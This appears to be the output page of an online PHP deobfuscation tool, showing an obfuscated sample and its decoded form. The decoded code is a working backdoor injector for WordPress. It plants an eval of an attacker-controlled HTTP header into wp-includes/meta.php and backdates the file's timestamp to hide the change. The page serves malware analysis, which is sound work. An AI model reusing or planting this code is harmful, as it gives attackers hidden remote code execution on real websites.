Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFrj6IwFP1u4n/oJCSDGbPxhU6y8YMZUZlYcXyguNkQKEVAKCwUETb737co..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo5MjoiL2RhdGEvdXNlcjEwLzIwMjEvMTI4LzMxNDg4L3dvcmRwcmVzcy8uMmYxYjEyNGEyY2Y0MzYzZWFhMWExM2ViNmVjMmQ5ODkvd3AtaW5jbHVkZXMvbWV0YS5waHAiO2k6MTtzOjc6IjNGMTIwODkiO2k6MjtzOjMyOiJAZXZhbCgkX1NFUlZFUlsnSFRUUF8zRjEyMDg5J10pOyI7aTozO3M6MzM6In5eXHMqZnVuY3Rpb25ccyt1cGRhdGVfbWV0YWRhdGF+bSI7fQ==');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFrj6IwFP1u4n/oJCSDGbPxhU6y8YMZUZlYcXyguNkQKEVAKCwUETb737cojs7uJLsNpDftueeec1qthHb4EhBL0T3H1CnmH9VV0JAJDWV30EN5IEA3cKathW2OxaO5nXnIFdNpLqXQFY9wJXWmOTzNhvvOtG0ekb9Ika/kKHtOoK+eVFfMZmMxU1tqA+ZqvtuMbLgRT7ClODNfcaH/JsjDw9FsD6i+EVxjohx2W3g0NkpDXQqpPhk4cuvQhSuayy7qSu5szGamrOdy7hbnMJOd18Fuu7ONl/1h25yN1t6O/TFZjhbr9eg5XzAdcLgXXpuNUM6knr4KcrkNuzCHXYkIeDuBP3ZESdT2IjRaAkIZbaJx4Vmxzlo2RT16MpZSz3rr9x9rX6sVKyGIOgEBf0bIxTiqgZ/VSrUC2PKcmAKesxLPm+vUrgMuzmKKfZEcWY0CE7Mt1CnFEamBPkgI63cYWY55Q49xt6OZuIBdiIvRBS0XB0mEMGuwHA9re0w1FBCKCY1vw65gxwJ8TCP28WXfvYwaeOgzGt2L8Vk3KFeEaRKRkuLXjekhjPBe83WKbP6qvA5uxOcbHNf+ScYRnC6vNpg4LcKhpyPmtKT41vheZgS+gPlkronylFUfry9zP7P6Tv/Rbf+/3XJFtj51/GvO5/ouX/AEmo2yJyGeQw5/h39+nzD57H3qdxFc4TRIilzvIO+DCwhT9hs=")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 9075c8b7bbd72a9728522f3e541744ba
Eval Count 1
Decode Time 36 ms